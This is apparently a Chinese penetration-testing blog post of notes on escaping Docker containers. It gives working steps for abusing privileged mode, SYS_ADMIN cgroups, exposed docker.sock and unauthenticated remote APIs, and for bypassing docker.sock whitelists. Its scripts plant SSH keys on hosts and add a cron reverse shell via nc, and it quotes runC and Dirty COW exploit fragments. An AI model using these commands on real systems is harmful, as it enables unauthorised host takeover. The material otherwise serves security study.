AMao
小菜鸡目前对一些东西的认知,希望师傅们可以帮忙纠正!

Docker 逃逸

2020-09-09 CTF Web安全 渗透测试
Word count: 3.3k | Reading time: 15min

Docker 逃逸

获取的一个Wegshell之后,需要判断是虚拟机或是物理机,还是 Docker

判断是否为 Docker

  • systemd-detect-virt -c

    • none 不是容器
    • 目前很少容器里面放 systemd 的,我见过的就只有 LXD 的ubuntu镜像,因此这种方法适用性不广
  • 查看 /.dockerenv

    1
    2
    3
    4
    5
    6
    7
    #docker
    root@b7c29ed0e534:/# ls -alh /.dockerenv
    -rwxr-xr-x 1 root root 0 Jun 13 08:42 /.dockerenv

    #非docker
    ~ ls -alh /.dockerenv
    ls: cannot access '/.dockerenv': No such file or directory
  • 查询系统进程的cgroup信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    # 非docker
    ➜ ~ cat /proc/1/cgroup
    12:memory:/init.scope
    11:blkio:/init.scope
    10:rdma:/
    9:devices:/init.scope
    8:pids:/init.scope
    7:freezer:/
    6:cpuset:/
    5:net_cls,net_prio:/
    4:perf_event:/
    3:cpu,cpuacct:/init.scope
    2:hugetlb:/
    1:name=systemd:/init.scope

    # docker
    root@b7c29ed0e534:/# cat /proc/1/cgroup
    12:memory:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    11:blkio:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    10:rdma:/
    9:devices:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    8:pids:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    7:freezer:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    6:cpuset:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    5:net_cls,net_prio:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    4:perf_event:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    3:cpu,cpuacct:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    2:hugetlb:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70
    1:name=systemd:/docker/b7c29ed0e534e78e91b7c7b80077633db9dcc8254853ec55981af6a346facd70

配置不当引发的 doker 逃逸

不安全的启动参数

以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh公钥、计划任务等方式达到逃逸

  • 条件

    以–privileged 参数启动 docker container
    获得 docker container shell,比如通过蜜罐漏洞、业务漏洞等途径获得

  • 参数

    –cap-add=SYS_ADMIN 启动时虽然有挂载权限,但没发直接获得资源去挂载,需要其他方法获得资源或其它思路才能利用。

    –net=host 启动时,绕过Network Namespace

    –pid=host 启动时,绕过PID Namespace

    –ipc=host 启动时,绕过IPC Namespace

    –volume /:/host 挂载主机目录到container

网络如果没其他配置,docker不添加网络限制参数,默认使用桥接网络,通过docker0可以访问host

–privileged 利用

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

启动Docker容器。使用此参数时,容器可以完全访问所有设备,并且不受seccomp,AppArmor和Linux capabilities的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 启动docker
➜ ubuntu docker run -it --privileged image_ID /bin/bash

# 查看磁盘文件:
root@1f63dc2c6a3a:/# fdisk -l

# 新建目录以备挂载:
root@1f63dc2c6a3a: mkdir /docker_dir

# 将宿主机/dev/sda1目录挂载至容器内:
root@1f63dc2c6a3a: mount /dev/sda1 /docker_dir

# 即可对主机文件进行操作
root@1f63dc2c6a3a: echo 11 > /docker_dir/root/tt
➜ ~ cat /root/tt #外部机器
11
# 这里可以写入shh client 的公钥,然后通过公钥进行shh登录

–cap-add=SYS_ADMIN 利用

Linux内核自版本2.2起引入功能(capabilities)机制,打破了UNIX/LINUX操作系统中超级用户与普通用户的概念,允许普通用户执行超级用户权限方能运行的命令。

截至Linux 3.0版本,Linux中共有38种capabilities。Docker容器默认限制为14个capabilities,管理员可以使用—cap-add和—cap-drop选项为容器精确配置capabilities。

当容器使用特权模式启动时,将被赋予所有capabilities。此外,在—cap-add的诸多选项中,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,因此当容器以—cap-add=SYSADMIN启动时,也将面临威胁。

  • 条件
    • 在容器内root用户
    • 容器必须使用SYS_ADMIN Linux capability运行
    • 容器必须缺少AppArmor配置文件,否则将允许mount syscall
    • cgroup v1虚拟文件系统必须以读写方式安装在容器内部
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

docker.sock 简述

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

  • unix:///var/run/docker.sock
  • tcp://host:port
  • fd://socketfd

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。

本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。

  • 思路

    当容器访问docker socket时,可通过与docker daemon的通信对其进行恶意操纵完成逃逸。

    若容器A可以访问docker socket,可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

  • 过程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # 运行一个挂载 /var/run 的容器
    ➜ ~ docker run -it -v /var/run/:/host/var/run/ 183 /bin/bash

    # 在容器内安装Docker作为client(根据网络情况换源)
    root@6ac99fce30d9: apt-get install docker.io

    # 查看宿主机 docker 信息
    root@6ac99fce30d9: docker -H unix:///host/var/run/docker.sock info

    # 运行一个新容器并挂载宿主机根路径
    root@6ac99fce30d9: docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

    # Docker ID已经变了,可以对主机的文件进行操作
    root@1f63dc2c6a3a: ls /aa

docker remote api 未授权访问

docker.sock 暴露到公网并且可以未授权访问到 api

  • 条件
    • root权限启动docker
    • API 版本大于1.5

docker swarm简述

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。

  • 启动

    1
    sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

    在没有其他网络访问限制的主机上使用,则会在公网暴漏端口

HTTP 利用 api

RCE
  • 列出所有容器

    1
    curl -i -s -X GET http://<docker_host>:PORT/containers/json
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    HTTP/1.1 200 OK
    Api-Version: 1.39
    Content-Type: application/json
    Docker-Experimental: false
    Ostype: linux
    Server: Docker/18.09.4 (linux)
    Date: Thu, 04 Apr 2019 05:56:03 GMT
    Content-Length: 1780

    [
    {
    "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",
    "Names":["/another_container"],
    "Image":"ubuntu:latest",
    "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",
    "Command":"bash",
    "Created":1554357359,
    "Ports":[],
    "Labels":{},
    "State":"running",
    "Status":"Up 3 seconds",
    "HostConfig":{"NetworkMode":"default"},
    "NetworkSettings":{"Networks":
    ...

    TIPS:留意Id字段

  • 创建 exec

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    POST /containers/<container_id>/exec HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json
    Content-Length: 188

    {
    "AttachStdin": true,
    "AttachStdout": true,
    "AttachStderr": true,
    "Cmd": ["cat", "/etc/passwd"],
    "DetachKeys": "ctrl-p,ctrl-q",
    "Privileged": true,
    "Tty": true
    }
    1
    2
    3
    4
    curl -i -s -X POST \
    -H "Content-Type: application/json" \
    --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
    http://<docker_host>:PORT/containers/<container_id>/exec
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    HTTP/1.1 201 Created
    Api-Version: 1.39
    Content-Type: application/json
    Docker-Experimental: false
    Ostype: linux
    Server: Docker/18.09.4 (linux)
    Date: Fri, 05 Apr 2019 00:51:31 GMT
    Content-Length: 74

    {"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}

    TIPS:记录下Id

  • 启动exec

    1
    2
    3
    4
    5
    6
    7
    8
    POST /exec/<exec_id>/start HTTP/1.1
    Host: <docker_host>:PORT
    Content-Type: application/json

    {
    "Detach": false,
    "Tty": false
    }
    1
    2
    3
    4
    curl -i -s -X POST \
    -H 'Content-Type: application/json' \
    --data-binary '{"Detach": false,"Tty": false}' \
    http://<docker_host>:PORT/exec/<exec_id>/start
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    HTTP/1.1 200 OK
    Content-Type: application/vnd.docker.raw-stream
    Api-Version: 1.39
    Docker-Experimental: false
    Ostype: linux
    Server: Docker/18.09.4 (linux)

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
接管主机

启动一个docker容器,主机的根目录安装到容器的一个卷上,这样就可以对主机的文件系统执行命令。

条件:允许完全的控制API

  • 下载镜像

    1
    2
    3
    curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/json' \
    http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
  • 使用已安装的卷创建容器

    1
    2
    3
    4
    curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/json' \
    --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' \
    http://<docker_host>:PORT/containers/create
  • 启动容器

    1
    2
    3
    curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/json' \
    http://<docker_host>:PORT/containers/<container_ID>/start

利用RCE对新容器运行命令,对文件系统进行操作

TIPS:如果要对Host OS运行命令,需要添加chroot/hostos

Docker python api

写入 ssh 密钥
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding:utf-8
import docker
import socks
import socket
import sys
import re

#开启代理
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 1081)
#socks.set_default_proxy(socks.SOCKS5, '127.0.0.1', 1081)
socket.socket = socks.socksocket

ip = '172.16.145.xxx'
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
#端口不一定为2375,指定version参数是因为本机和远程主机的API版本可能不同,指定为auto可以自己判断版本
image = cli.images.list()[0]

#读取生成的公钥
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()

try:
cli.containers.run(
image=image.tags[0],
command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"', #这里卡了很久,这是正确有效的写法,在有重定向时直接写命令是无法正确执行的,记得加上sh -c
volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}}, #找一个基本所有环境都有的目录
name='test' #给容器命名,便于后面删除
)
except docker.errors.ContainerError as e:
print(e)

#删除容器
try:
container = cli.containers.get('test')
container.remove()
except Expection as e:
continue
计划任务
1
2
3
4
import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

docker.sock暴露到容器内部

1
2
# 容器内部可以与docker deamon通信
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

example1

example2

docker.sock 配置白名单绕过

用户请求 /var/run/somethingelse.sock ,经由反向代理,将这些请求转发到 /var/run/docker.sock

反向代理根据预先保存在配置文件中的授权值白名单来决定是否请求 /var/run/docker.sock

例如,只有当一个请求符合特定的HTTP方法(GET、POST等……)、路径(例r如/containers/create)和/或JSON体时,才可以让其通过。

挂载目录

白名单在验证/dev/log:/dev/log时通过
传递多个 "Binds": ["/:/hostos", "/dev/log:/dev/log"] 挂载目录即可挂载成功

执行命令

执行/containers/{id}/exec时拦截 ,使用attach绕过

1
curl -i -s --unix-socket /var/run/somethingelse.sock -X POST “http://localhost/containers/4fa6bfc84930/attach?logs=1&stream=1&stdin=true&stdout=true&stderr=true”

挂载目录获取root权限

使用Docker API Cmd参数,不使用Entrypoint参数

1
curl -i -s --unix-socket /var/run/somethingelse.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true, "Tty": true,"OpenStdin": true, "StdinOnce": true,"Entrypoint": "","Cmd": ["touch", "/hostos/root/1.txt"],"Image": "dockerint.company.com/xxx/imagename:1.0.0-SNAPSHOT","Volumes": {"/hostos/": {}}, "HostConfig": {"Binds": ["/:/hostos", "/dev/log:/dev/log"], "Privileged": true}}' http://localhost/containers/create

容器服务缺陷

runC cve-2019-5736

  • runC

    runC 管理容器的创建,运行,销毁等
    Docker 运行时通常会实现镜像创建和管理等功能

  • 影响版本

    平台或产品 受影响版本
    Docker Version < 18.09.2
    runC Version <= 1.0-rc6
  • 利用链

    不使用runC init覆盖:因为CVE-2016-9962 patch

  • 复现环境

Docker exec poc

循环等待 runC init的 PID -> open(“/proc/pid/exe”,O_RDONLY) -> execve()释放 runC的IO并覆盖runC二进制文件 -> execve()执行被覆盖 runC

恶意镜像poc

通过欺骗runC init execve -> runc 执行/proc/self/exe -> /proc/[runc-pid]/exe覆盖runC 二进制文件

  • POC

  • POC 分析

    Dockerfile

    • 获取libseccomp文件并将run_at_link文件加入,runC启动运行libseccomp

      1
      2
      3
      4
      5
      6
      ADD run_at_link.c /root/run_at_link.c
      RUN set -e -x ;\
      cd /root/libseccomp-* ;\
      cat /root/run_at_link.c >> src/api.c ;\
      DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us ;\
      dpkg -i /root/*.deb
    • overwrite_runc添加docker中并编译

    • 使入口点指向runc

      1
      2
      3
      RUN set -e -x ;\
      ln -s /proc/self/exe /entrypoint
      ENTRYPOINT [ "/entrypoint" ]

    run_at_link

    • run_at_link read runc binary 获得fd

      1
      2
      3
      4
      5
      6
      7
      int runc_fd_read = open("/proc/self/exe", O_RDONLY);
      if (runc_fd_read == -1 ) {
      printf("[!] can't open /proc/self/exe\n");
      return;
      }
      printf("[+] Opened runC for reading as /proc/self/fd/%d\n", runc_fd_read);
      fflush(stdout);
    • 调用execve执行overwrite_runc

      1
      execve("/overwrite_runc", argv_overwrite, NULL);
    • overwrite_runc写入poc string

Docker cp (CVE-2019-14271)

Docker build code execution (CVE-2019-13139)

内核提权

Dirty cow

脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

  • 流程
    • 使用内核漏洞进入内核上下文
    • 获取当前进程的task struct
    • 回溯 task list 获取 pid = 1 的 task struct,复制其相关数据
    • 切换当前 namespace
    • 打开 root shell,完成逃逸

参考

参考1

参考2

声明

  1. 博主初衷为分享网络安全知识,请勿利用技术做出任何危害网络安全的行为,否则后果自负,与本人无关!
  2. 部分学习内容来自网络,回馈网络,如涉及版权问题,请联系删除 orz
< PreviousPost
预编译与SQL注入
NextPost >
内网安全基础
CATALOG
  1. 1. Docker 逃逸
    1. 1.1. 判断是否为 Docker
    2. 1.2. 配置不当引发的 doker 逃逸
      1. 1.2.1. 不安全的启动参数
        1. 1.2.1.1. –privileged 利用
        2. 1.2.1.2. –cap-add=SYS_ADMIN 利用
      2. 1.2.2. docker.sock 简述
      3. 1.2.3. docker remote api 未授权访问
        1. 1.2.3.1. docker swarm简述
        2. 1.2.3.2. HTTP 利用 api
          1. 1.2.3.2.1. RCE
          2. 1.2.3.2.2. 接管主机
        3. 1.2.3.3. Docker python api
          1. 1.2.3.3.1. 写入 ssh 密钥
          2. 1.2.3.3.2. 计划任务
      4. 1.2.4. docker.sock暴露到容器内部
      5. 1.2.5. docker.sock 配置白名单绕过
        1. 1.2.5.1. 挂载目录
        2. 1.2.5.2. 执行命令
        3. 1.2.5.3. 挂载目录获取root权限
    3. 1.3. 容器服务缺陷
      1. 1.3.1. runC cve-2019-5736
        1. 1.3.1.1. Docker exec poc
        2. 1.3.1.2. 恶意镜像poc
      2. 1.3.2. Docker cp (CVE-2019-14271)
      3. 1.3.3. Docker build code execution (CVE-2019-13139)
    4. 1.4. 内核提权
      1. 1.4.1. Dirty cow
    5. 1.5. 参考
    6. 1.6. 声明